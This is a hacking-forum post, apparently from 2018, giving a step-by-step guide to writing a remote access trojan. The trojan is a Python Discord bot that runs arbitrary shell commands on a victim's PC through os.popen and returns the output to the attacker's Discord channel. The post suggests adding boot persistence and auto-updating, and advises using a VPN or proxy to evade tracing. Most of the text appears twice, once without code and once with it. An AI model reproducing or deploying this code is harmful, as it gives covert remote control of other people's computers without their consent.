How to write your own RAT (No port forwarding required!) 11-11-2018, 09:36 PM
#1
This is my personal favorite method, because you don't have to port forward on every router you use.
Very helpful when you're at a mcdonalds or something.
Step 1: Pick a language
As with most things, what language you pick usually does not fucking matter.
I will be providing examples in Python, because as a wise man once said:
libraries on the target PC.
Step 2: Choose a chat site
This is another one of those things that really doesn't matter. You can use IRC, Telegram, Discord, etc...
All that matters is that you know how to receive messages via the language you chose.
I'm going to use Discord, because messing around w/ Discord bots is what inspired this post.
Step 3: Get your tokens & setup your bot
This differs between different sites, but should be fairly easy.
For Discord, you just need to setup 1 server and 1 bot.
Step 4: Actually programming the bot
First, get whatever libraries you need, and put the tokens in.
Next, set up your client.
Now you need to decide what you actually want your RAT to do. I'm just going to make mine able to run system commands.
But first, I need to be able to check if it's actually connected. This is pretty trivial.
So now, we need to be able to run system commands. This is also very easy, however we can't just os.system it, because
we wouldn't be able to see what the command output is. Instead, we use
to read the command output.
We test it, and it works!
You might want to add additional features like starting on boot, and auto-updating the bot.
Conclusion
This was a very basic guide, and I would suggest using a VPN or a proxy while doing it.
Hopefully this shows you how easy RAT development is.
Very helpful when you're at a mcdonalds or something.
Step 1: Pick a language
As with most things, what language you pick usually does not fucking matter.
I will be providing examples in Python, because as a wise man once said:
Quote:Python can do anything, just badly.You would usually want to pick a language like C++ instead, because you don't need to download
libraries on the target PC.
Step 2: Choose a chat site
This is another one of those things that really doesn't matter. You can use IRC, Telegram, Discord, etc...
All that matters is that you know how to receive messages via the language you chose.
I'm going to use Discord, because messing around w/ Discord bots is what inspired this post.
Step 3: Get your tokens & setup your bot
This differs between different sites, but should be fairly easy.
For Discord, you just need to setup 1 server and 1 bot.
Step 4: Actually programming the bot
First, get whatever libraries you need, and put the tokens in.
Code:
import discord, os, sys
token = "<YOUR TOKEN HERE"Code:
client = discord.Client()
@client.event
async def on_message(message):
    if(message.author == client.user):
        return
    if(message.content.startswith('!')):
        msg = message.content[1:]
client.run(token)But first, I need to be able to check if it's actually connected. This is pretty trivial.
Code:
if(msg == "online"):
            await client.send_message(message.channel, "Online!")So now, we need to be able to run system commands. This is also very easy, however we can't just os.system it, because
we wouldn't be able to see what the command output is. Instead, we use
Code:
os.popenCode:
elif(msg.startswith("system ")):
            msg = msg[7:]
            ret = os.popen(msg).read()
            await client.send_message(message.channel, ret)We test it, and it works!
You might want to add additional features like starting on boot, and auto-updating the bot.
Conclusion
This was a very basic guide, and I would suggest using a VPN or a proxy while doing it.
Hopefully this shows you how easy RAT development is.
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
















